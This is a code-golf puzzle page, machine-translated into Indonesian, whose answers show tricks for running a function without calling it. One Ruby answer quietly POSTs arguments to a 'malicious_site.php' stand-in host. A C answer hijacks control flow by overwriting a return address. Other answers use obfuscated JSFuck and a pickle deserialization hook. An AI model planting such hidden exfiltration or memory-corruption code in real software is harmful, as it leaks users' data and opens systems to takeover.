Panggil metode tanpa memanggilnya [ditutup]

77

Terinspirasi oleh pertanyaan StackOverflow yang sekarang dihapus . Bisakah Anda menemukan cara untuk mengeksekusi metode tertentu, tanpa secara eksplisit menyebutnya? Semakin tidak langsung, semakin baik.

Inilah yang saya maksud, tepatnya (C digunakan hanya untuk contoh, semua bahasa diterima):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Pertanyaan asli: masukkan deskripsi gambar di sini

Komunitas
sumber
58
+10471 ... bagus
qwr
29
Saya bertanya-tanya berapa banyak rep yang Anda butuhkan untuk menumpuk stack overflow?
PyRulez
34
Rupanya ini adalah screencap dari akun @Mysticial , melihat avatar. Mysticial, bisa Anda silahkan saja klik pada tab rep Anda?!?!?!
Gagang Pintu
4
@ Doorknob Kenapa dia? Semuanya datang dari satu jawaban.
FDinoff
8
@PyRulez Jon Skeet belum, jadi kami aman untuk saat ini .
Cole Johnson

Jawaban:

109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Ketika dikompilasi dengan GCC, kompiler menggantikan printf("Goodbye!\n")dengan puts("Goodbye!"), yang lebih sederhana dan dianggap setara. Saya secara diam-diam menyediakan putsfungsi khusus saya , sehingga dipanggil sebagai gantinya.

hvd
sumber
1
@ user17752 Ini sebenarnya adalah transformasi yang dibuat oleh GCC bahkan pada -O0. (Lagipula, GCC 4.8. Mungkin versi lain perlu beberapa opsi lain.)
hvd
1
maaf, kesalahan saya, lupa bahwa saya menggunakan dentang di macbook saya.
DarkHeart
@ user17752 Terima kasih, saya belum menguji dengan kompiler lain, senang mengetahui bahwa dentang setidaknya memiliki opsi untuk mendapatkan transformasi yang sama.
hvd
Selamat! Pemenang adalah Anda!
84

Nah, bagaimana malware bisa menjalankan fungsi yang tidak dipanggil dalam kode? Dengan buffer yang meluap!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

Di sistem saya, alamat pengirim mainkebetulan disimpan 3 kata di atas variabel lokal pertama. Dengan mengacak alamat pengirim itu dengan alamat fungsi lain, main"mengembalikan" ke fungsi itu. Jika Anda ingin mereproduksi perilaku ini di sistem lain, Anda mungkin harus mengubah 3 ke nilai lain.

fredoverflow
sumber
Kalahkan saya (+1) - ini adalah solusi C yang jelas.
Comintern
20
Gunakan <!-- language: lang-c -->dua baris sebelum kode Anda untuk menyorotnya.
Victor Stafusa
9
Semua hujan es @ Viktor, pahlawan penyorot sintaksis!
Jason C
@ Viktor apakah ini didokumentasikan secara resmi? Jika ya, dimana?
Thorbjørn Ravn Andersen
3
@ ThorbjørnRavnAndersen meta.stackexchange.com/questions/184108/…
Victor Stafusa
75

Pesta

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?
Trauma Digital
sumber
8
Penanganan pengecualian. Metode panggilan lain!
phyrfox
56

Python 2

>>> def func(*args):
        print('somebody called me?')

Berikut adalah beberapa cara yang terinspirasi oleh jawaban lain:

  1. mengeksekusi kode secara langsung

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Ini adalah cara terbaik untuk tidak memanggil fungsi.

  2. menggunakan destructor

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Menggunakan std I / O

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. menggunakan pencarian atribut

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Mekanisme impor

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Yah saya kira itu saja .. Saya tidak bisa mengimpor apa pun sekarang. Jangan tunggu ..

  6. Menggunakan kurung get-item []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Menggunakan variabel global. Kesukaanku!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloadalah akses ke d['hello']. Setelah ini dunia tampak kelabu.

  8. Kelas meta;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Menggunakan iterator (Anda dapat membebani operator apa pun dan menggunakannya)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Kesalahan!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Kerangka kerja memanggil Anda kembali. Hampir setiap GUI memiliki fungsi ini.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Jalankan string sumber (func harus dalam file)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Dekorator

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. dengan acar de-serialisasi (paling tidak favorit datang)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Menggunakan serialisasi

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Lebih banyak jawaban Python:

Pengguna
sumber
1
Koleksi yang bagus, tetapi Anda lupa tentang utas . ;)
nyuszika7h
Jawaban ini tidak masuk akal. +1
asteri
Ini adalah python 3
Braden Best
1
Banyak dari contoh-contoh itu juga bekerja dengan Python 3. Meta-class yang ditunjukkan dan peningkatan pengecualian tidak berfungsi dalam Python 3.
Pengguna
22

Javascript

Yang ini menggunakan JSFuck untuk melakukan pekerjaan kotor.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()
Victor Stafusa
sumber
54
Saya pikir ini memenuhi syarat sebagai pemanggilan fungsi eksplisit. Hanya yang sangat dikaburkan.
Primo
3
@ primo, itu akan membangun string javascript untuk mengeksekusi, dan mendapatkan objek Function untuk memanggilnya. Tetapi untuk melakukan itu, ia menggunakan konversi implisit antara jenis; mis. ""adalah string, dan []mengevaluasi ke 0, jadi ""[[]]tidak terdefinisi, dan ""[[]]+"""tidak terdefinisi". Dari sana Anda dapat mengeluarkan huruf individual: (""[[]]+"")[[]]is "u". Jadi ini lebih seperti hack untuk memanggil exec dengan kode arbitrer. Saya pikir itu penting?
Phil H
1
@ Philip Saya mengerti cara kerjanya. Lepaskan dua kurung terakhir: function anonymous() { x() }.
Primo
22

Python

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Ini ditetapkan the_functionsebagai fungsi profil, menyebabkannya dieksekusi pada setiap panggilan fungsi dan kembali.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!
grc
sumber
Apakah ini Python?
Hosch250
@ user2509848 Ya, saya lupa menyebutkan itu.
grc
Jawaban non-C! Saya ingin melihat lebih banyak: D
@Johnsyweb Silakan lihat meta.codegolf.stackexchange.com/q/1109/9498 . Tidak perlu mengedit setiap posting untuk menyertakan penyorotan sintaks, terutama jika hampir tidak mempengaruhi tampilan kode (misalnya kode pendek).
Justin
@Quincunx: Diakui ☻
Johnsyweb
18

C #

Kami dapat menyalahgunakan DLR untuk selalu mengeksekusi beberapa kode setiap kali Anda mencoba memanggil metode apa pun di kelas. Ini sedikit lebih murah / jelas daripada solusi seperti delegasi, refleksi, konstruktor statis, dll., Karena metode yang dieksekusi tidak hanya tidak pernah dipanggil tetapi bahkan tidak pernah direferensikan , bahkan tidak dengan namanya.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Ini selalu mencetak "Ha! Membuatmu tertipu!" apa pun yang Anda coba gunakan a. Jadi saya bisa dengan mudah menulis a.SuperCaliFragilisticExpiAlidocious()dan akan melakukan hal yang sama.

Aaronaught
sumber
17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Ini sangat langsung, tetapi tentu saja bukan panggilan untuk hello_world, meskipun fungsinya mengeksekusi.

hvd
sumber
16

Rubi

Terinspirasi oleh wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"
boxmein
sumber
15

C

Anda dapat mendaftarkan fungsi yang akan dipanggil di akhir program dalam C, jika itu sesuai dengan kebutuhan Anda:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}
fredoverflow
sumber
15

Jawa

Mencoba ini dengan java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Metode secretMethodNotCalledInMainini dipanggil hanya dengan refleksi, dan saya tidak mencari sesuatu yang disebut secretMethodNotCalledInMain(sebaliknya saya mencari sesuatu yang tidak dipanggil main). Lebih lanjut, bagian reflektif dari kode dipanggil di luar mainmetode ketika handler pengecualian JDK menendang masuk.

Ini info JVM saya:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Ini adalah output dari program saya:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Saya tidak mengharapkan mereka NullPointerExceptionyang dilempar dari kode asli untuk menangani refleksi. Tapi, seperti yang disebutkan oleh @ johnchen902 itu karena mewarisi beberapa metode dari java.lang.Objectdan saya akhirnya memanggil mereka di nulls.

Victor Stafusa
sumber
Itu NPEbukan bug JDK. Mereka dilempar karena Anda mencoba memanggil metode instan yang dideklarasikan java.lang.Objectseperti toString()dengan null.
johnchen902
@ johnchen902 Oh, tentu saja. Terima kasih. Saya mengeditnya.
Victor Stafusa
14

C ++

Salah satu cara dalam C ++ adalah dalam konstruktor dan / atau destruktor objek statis:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }
Jerry Coffin
sumber
1
Saya juga berpikir overloading baru dan menghapus , tapi saya pikir tiga jawaban sudah cukup :)
fredoverflow
Apakah konstruktor / destruktor dianggap "metode" dalam C ++? Dalam. NET dan Java mereka sebenarnya merupakan tipe anggota yang berbeda. Anda tidak dapat secara langsung memanggil aktor statis, bahkan jika Anda ingin ...
Aaronaught
@Aaronaught: Tidak ada yang dianggap sebagai "metode" dalam C ++ (setidaknya oleh siapa pun yang tahu apa yang mereka bicarakan). Konstruktor dan destruktor adalah fungsi anggota. Mereka adalah fungsi anggota "khusus" (misalnya, konstruktor tidak memiliki nama, sehingga Anda tidak dapat memanggil mereka secara langsung).
Jerry Coffin
Yah, saya hanya menggunakan istilah itu karena OP melakukannya. Saya tahu bahwa C / C ++ dan hampir setiap bahasa non-Java / .NET lainnya memiliki fungsi, bukan metode. Tetapi intinya adalah bahwa mereka tidak dapat secara langsung dipanggil. Anda bisa berargumen bahwa konstruktor instance secara teknis sedang dipanggil secara langsung new, dan dengan demikian akan menjadi jawaban yang menarik untuk memiliki cara untuk memohon yang tidak new . Tapi saya tidak tahu, konstruktor statis terasa seperti sedikit curang.
Aaronaught
@Aonaonaught Jika Anda ingin memanggil konstruktor pada sepotong memori yang sudah dialokasikan, Anda dapat menulis new (p) foo(). Dan Anda dapat merusak objek tanpa melepaskan memori melalui p->~foo().
fredoverflow
12

C: Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Keluaran:

Hello World!

Untuk menautkan metode ini, kita perlu printf () untuk dikompilasi di suatu tempat dalam program, tetapi tidak harus benar-benar dipanggil. Fungsi printf () dan main () terletak 276 byte terpisah satu sama lain di segmen kode. Nilai ini akan berubah berdasarkan OS dan kompiler. Anda dapat menemukan alamat aktual di sistem Anda dengan kode ini dan kemudian kurangi saja:

printf("%d %d\n", &printf, &main);
Kevin
sumber
4
The *sebelum mainbenar-benar membingungkan dan tidak perlu. mainadalah fungsi yang Anda tidak dapat melakukan dereferensi, sehingga secara implisit meluruh ke pointer fungsi yang kemudian direferensikan untuk menghasilkan fungsi lagi. Anda tidak bisa mengurangi int dari suatu fungsi, jadi itu meluruh ke pointer fungsi lagi. Anda mungkin juga menulis (*****main-276);) Anda mungkin bermaksud menulis (&main-276)atau (*(main-276))sebagai gantinya.
fredoverflow
6
The * before main is really confusing and unnecessary.- Bukankah itu umumnya hal yang baik di situs ini?
James Webster
Saya mendapat kesan bahwa standar mengatakan bahwa program yang baik tidak boleh digunakan main, tetapi tidak dapat menemukannya sekarang ...
Damon
3
Anda secara eksplisit menyebutnya dengan referensi yang dikaburkan
Nowayz
9

C (dengan GCC sebaris asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Ini akan menyebabkan beberapa kode yang dipancarkan GCC berakhir di segmen berbeda dari file objek, secara efektif membuat aliran kontrol “jatuh melalui” fungsi_fungsi. Perhatikan bahwa ini tidak berfungsi jika GCC memutuskan untuk menyusun ulang fungsi, jelas. Diuji dengan GCC 3.4.6 pada MirBSD-current / i386, menggunakan -O2. (Juga, itu istirahat debug, kompilasi dengan -gkesalahan ☺)

mirabilos
sumber
8

PHP ≥5.4.0

Solusi ini memang merupakan kekacauan yang mengerikan, tetapi ia melakukan tugas yang diberikan kepadanya (tidak ada ketentuan seberapa baik ia harus melakukan).

Fungsi untuk memanggil tanpa memanggil :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

Solusinya :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Contoh :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Output yang mungkin:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Penjelasan :

Ketika dipanggil, executeFunction()akan membaca isi dari file yang sedang dieksekusi (yang berarti ini hanya dimaksudkan untuk dijalankan dari CLI, seperti yang digunakan $argv), menguraikan argumen dan isi dari fungsi yang ditentukan, meretas semuanya kembali menjadi potongan baru dari kode, eval()semuanya, dan kembalikan hasilnya. Hasilnya adalah yang getRandomString()tidak pernah benar-benar dipanggil, baik secara langsung atau tidak langsung, tetapi kode dalam fungsi tubuh masih dijalankan.

Tony Ellis
sumber
Nah, apakah membuat __construct()metode penting dalam PHP karena Anda tidak pernah memanggil fungsi secara langsung, tetapi gunakan new Something()sebagai gantinya?
Damir Kasipovic
@ D.Kasipovic Jenis, orang bisa berpendapat Anda masih memohonnya secara langsung, hanya dengan cara yang berbeda. Saya memilih pendekatan saya saat ini karena saya suka berpikir di luar kotak. Saya bisa saja mendaftarkan fungsi sebagai panggilan balik ke register_tick_function(),, register_shutdown_function()atau spl_autoload_register()mirip dengan jawaban Python @ grc, tapi saya merasa seperti itu 'curang' dan mengambil jalan keluar yang mudah.
Tony Ellis
8

Perl

sub INIT {
    print "Nothing to see here...\n";
}

Ya, hanya itu yang ada untuk itu. Tidak semua subrutin dibuat sama.

Ilmari Karonen
sumber
7

T-SQL

Ini fitur bawaan. Pemicu untuk menang!

